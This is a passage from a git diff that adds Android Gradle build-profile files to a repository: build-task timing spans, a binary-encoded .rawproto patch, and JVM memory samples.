false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 41\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039205000,"dur":100},{"pid":1,"tid":0,"id":66,"name":"task: shader compile","args":{"span_id":"66","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 55\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039206000,"dur":100},{"pid":1,"tid":0,"id":67,"name":"task: unknown task type","args":{"span_id":"67","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039206000,"dur":100},{"pid":1,"tid":0,"id":68,"name":"task: merge source set folders","args":{"span_id":"68","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 41\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039206000,"dur":2000},{"pid":1,"tid":8,"id":70,"name":"transform prep: dex archive builder","args":{"span_id":"70","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 29\nis_incremental: true\n"},"ph":"X","ts":1514228039229000,"dur":2000},{"pid":1,"tid":8,"id":71,"name":"transform: dex archive builder","args":{"span_id":"71","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 29\nis_incremental: true\n"},"ph":"X","ts":1514228039231000,"dur":22000},{"pid":1,"tid":0,"id":69,"name":"task: transform","args":{"span_id":"69","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039208000,"dur":47000},{"pid":1,"tid":8,"id":73,"name":"transform prep: external libs merger","args":{"span_id":"73","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 34\nis_incremental: true\n"},"ph":"X","ts":1514228039257000,"dur":1000},{"pid":1,"tid":8,"id":74,"name":"transform: external libs merger","args":{"span_id":"74","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 34\nis_incremental: true\n"},"ph":"X","ts":1514228039258000,"dur":100},{"pid":1,"tid":0,"id":72,"name":"task: transform","args":{"span_id":"72","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039255000,"dur":4000},{"pid":1,"tid":8,"id":76,"name":"transform prep: dex merger","args":{"span_id":"76","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 30\nis_incremental: true\n"},"ph":"X","ts":1514228039261000,"dur":1000},{"pid":1,"tid":8,"id":77,"name":"transform: dex merger","args":{"span_id":"77","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","transform":"type: 30\nis_incremental: true\n"},"ph":"X","ts":1514228039262000,"dur":140000},{"pid":1,"tid":0,"id":75,"name":"task: transform","args":{"span_id":"75","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039259000,"dur":154000},{"pid":1,"tid":0,"id":78,"name":"task: merge source set folders","args":{"span_id":"78","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 41\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039413000,"dur":1000},{"pid":1,"tid":0,"id":79,"name":"task: transform","args":{"span_id":"79","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039414000,"dur":3000},{"pid":1,"tid":0,"id":80,"name":"task: unknown task type","args":{"span_id":"80","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039418000,"dur":100},{"pid":1,"tid":0,"id":81,"name":"task: transform","args":{"span_id":"81","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 65\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039418000,"dur":3000},{"pid":1,"tid":0,"id":82,"name":"task: validate signing","args":{"span_id":"82","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 67\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039421000,"dur":1000},{"pid":1,"tid":0,"id":83,"name":"task: package application","args":{"span_id":"83","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 45\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039422000,"dur":244000},{"pid":1,"tid":0,"id":84,"name":"task: unknown task type","args":{"span_id":"84","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039667000,"dur":100},{"pid":1,"tid":7,"id":85,"name":"base plugin build finished","args":{"span_id":"85","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039673000,"dur":100}] \ No newline at end of file diff --git a/build/android-profile/profile-2017-12-25-11-53-59-674.rawproto b/build/android-profile/profile-2017-12-25-11-53-59-674.rawproto new file mode 100644 index 0000000000000000000000000000000000000000..b9b42383f76444fc274e0f5b9c22ee2603f4f1a4 GIT binary patch literal 4864 zcmc(jYitx%6oBXM_Hnx)Ok1{Gid#lR846u?XWQMjKDvO<3Rm zt%!ygA5{?>#iU}v3Kpse)gMMNK1htFB2pef`$H6^!Xg5#Q1s4y?3`WLgb9iK+n#UF zchB52Gkb0eoaJ7>kv+GmdFk@%eEQkv^_7(yWs76Yv6iOj?0mns((8M`UtyHB#2$%7 z9*@p^9S(y|bvg6x3T=k*h$q0$^9NIx6Z6EISdrs#@K zsZ<&qSbfNW$1g{5geY>T$^}uaE7IK9@@P|InGu|?JP{@<&$JJ%nlU+qhenP*kJO%n zhib@)rP`#@eAlSDdaXVhX^k~6j;RV!N()@0X=q-g<>C5evDjl~j2b?dhJh^|YmvJ1 zoj1eel~!%)#T)h{4ac{4AhrF)&M;Zss?E4~L%%c(tv^5w@$YOK_DMrm?{8)e1MBV9 zus_wXck_nJZdmoL?HUfGUd3fG9FjG(?K`&)seQd&c6ajEOEw%%8qThH8>t=fckR}Y zW@zuWZ8#!p_$WR|YiRpwqumFe-Eo*N_qtu1S?P>c8K9ebLfsr6jthT&8U++!(Mqb>XcD8&Q`O? zDjr9Aj*JY3WNH^yo%>5`VwRy>c!H%iMW885=4R2SJK;jjH6(S%s38! z8-if~iXb=*z<3KFJpllrpog!4^b-I~px}ME_^BjtV;60Q*!CPfPwu)K7t^>%aImx3gS8%d;Hjn43Ir6E@*Rg#1+_;R!Kb93Ok?}&DL!RZ) znYww?u=j%pd&v$SMfw;sTI<3JJqgj1nXarr9z0VVh_rExBg*fG+(-CvhkoD8H#vgb zPxeB;$%Bv^gdbHvK88F%_(6mo|D>NlUY^R$`j;MlYoaHpOebZ zyS|$wxAqtKi}5Yw6E>*P-@m@`Mi%y{$h=MK@CsCnZzZ2{SfqcS20i#@!iP+;Gv=K; z%i5V@d^_34lMy#hhUQwbpF@S40rcS82%kQ+tYlA8%yY@X6myAXo`~m>pE!IDaW$YN z_zuG7Qtfr?c?50`zEjMd;CTc4<-vD}sZz7#v;B@mEkWpLZM(NQf@>HUqg8y5DFPlf1t6kv2xKOBUBj;HN^b%ixe&T4>?&? An*aa+ literal 0 HcmV?d00001 diff --git a/build/android-profile/profile-2017-12-25-12-09-55-014.json b/build/android-profile/profile-2017-12-25-12-09-55-014.json new file mode 100644 index 0000000..488639d --- /dev/null +++ b/build/android-profile/profile-2017-12-25-12-09-55-014.json @@ -0,0 +1 @@ +[{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994430000,"args":{"JVM stats":"heap_memory_usage: 258463840\nnon_heap_memory_usage: 136530792\nloaded_class_count: 15135\nthread_count: 29\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994499000,"args":{"JVM stats":"heap_memory_usage: 289111760\nnon_heap_memory_usage: 137033776\nloaded_class_count: 15150\nthread_count: 41\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994517000,"args":{"JVM stats":"heap_memory_usage: 297094048\nnon_heap_memory_usage: 137258192\nloaded_class_count: 15150\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994518000,"args":{"JVM stats":"heap_memory_usage: 297536304\nnon_heap_memory_usage: 137272632\nloaded_class_count: 15153\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994523000,"args":{"JVM stats":"heap_memory_usage: 298200336\nnon_heap_memory_usage: 137322320\nloaded_class_count: 15164\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994523001,"args":{"JVM stats":"heap_memory_usage: 298200336\nnon_heap_memory_usage: 137326928\nloaded_class_count: 15164\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994525000,"args":{"JVM stats":"heap_memory_usage: 298421480\nnon_heap_memory_usage: 137366752\nloaded_class_count: 15173\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994526000,"args":{"JVM stats":"heap_memory_usage: 298421480\nnon_heap_memory_usage: 137368360\nloaded_class_count: 15173\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994526001,"args":{"JVM stats":"heap_memory_usage: 298421480\nnon_heap_memory_usage: 137370720\nloaded_class_count: 15174\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994526000,"args":{"JVM stats":"heap_memory_usage: 298421480\nnon_heap_memory_usage: 137370720\nloaded_class_count: 15174\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994539000,"args":{"JVM stats":"heap_memory_usage: 302624144\nnon_heap_memory_usage: 137450320\nloaded_class_count: 15184\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994539001,"args":{"JVM stats":"heap_memory_usage: 302624144\nnon_heap_memory_usage: 137450320\nloaded_class_count: 15184\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994541000,"args":{"JVM stats":"heap_memory_usage: 302845280\nnon_heap_memory_usage: 137462416\nloaded_class_count: 15184\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994542000,"args":{"JVM stats":"heap_memory_usage: 302845280\nnon_heap_memory_usage: 137476976\nloaded_class_count: 15191\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994547000,"args":{"JVM stats":"heap_memory_usage: 304835904\nnon_heap_memory_usage: 137596320\nloaded_class_count: 15217\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994547001,"args":{"JVM stats":"heap_memory_usage: 304835904\nnon_heap_memory_usage: 137596320\nloaded_class_count: 15217\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994557000,"args":{"JVM stats":"heap_memory_usage: 306827432\nnon_heap_memory_usage: 137632416\nloaded_class_count: 15217\nthread_count: 42\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994590000,"args":{"JVM stats":"heap_memory_usage: 320509704\nnon_heap_memory_usage: 138113000\nloaded_class_count: 15217\nthread_count: 43\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994590001,"args":{"JVM stats":"heap_memory_usage: 320509704\nnon_heap_memory_usage: 138115904\nloaded_class_count: 15217\nthread_count: 43\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994591000,"args":{"JVM stats":"heap_memory_usage: 320753000\nnon_heap_memory_usage: 138129152\nloaded_class_count: 15217\nthread_count: 43\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994591001,"args":{"JVM stats":"heap_memory_usage: 320974144\nnon_heap_memory_usage: 138131736\nloaded_class_count: 15217\nthread_count: 43\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994592000,"args":{"JVM stats":"heap_memory_usage: 320974144\nnon_heap_memory_usage: 138137144\nloaded_class_count: 15217\nthread_count: 43\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994592001,"args":{"JVM stats":"heap_memory_usage: 320974144\nnon_heap_memory_usage: 138147640\nloaded_class_count: 15217\nthread_count: 43\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994595000,"args":{"JVM stats":"heap_memory_usage: 321195312\nnon_heap_memory_usage: 138159544\nloaded_class_count: 15217\nthread_count: 43\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994637000,"args":{"JVM stats":"heap_memory_usage: 328737336\nnon_heap_memory_usage: 138643416\nloaded_class_count: 15217\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994642000,"args":{"JVM stats":"heap_memory_usage: 329644496\nnon_heap_memory_usage: 138720992\nloaded_class_count: 15218\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994805000,"args":{"JVM stats":"heap_memory_usage: 269896096\nnon_heap_memory_usage: 138904544\nloaded_class_count: 15218\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 1\n gc_time: 10\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994806000,"args":{"JVM stats":"heap_memory_usage: 272418168\nnon_heap_memory_usage: 138906112\nloaded_class_count: 15218\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994809000,"args":{"JVM stats":"heap_memory_usage: 274624216\nnon_heap_memory_usage: 138923024\nloaded_class_count: 15219\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994810000,"args":{"JVM stats":"heap_memory_usage: 274624216\nnon_heap_memory_usage: 138923024\nloaded_class_count: 15219\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994814000,"args":{"JVM stats":"heap_memory_usage: 275566920\nnon_heap_memory_usage: 138924432\nloaded_class_count: 15219\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228994814001,"args":{"JVM stats":"heap_memory_usage: 275566920\nnon_heap_memory_usage: 138924432\nloaded_class_count: 15219\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228995006000,"args":{"JVM stats":"heap_memory_usage: 347609264\nnon_heap_memory_usage: 139069952\nloaded_class_count: 15219\nthread_count: 51\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228995007000,"args":{"JVM stats":"heap_memory_usage: 347732904\nnon_heap_memory_usage: 139072096\nloaded_class_count: 15219\nthread_count: 51\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228995014000,"args":{"JVM stats":"heap_memory_usage: 348718488\nnon_heap_memory_usage: 139086696\nloaded_class_count: 15219\nthread_count: 37\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 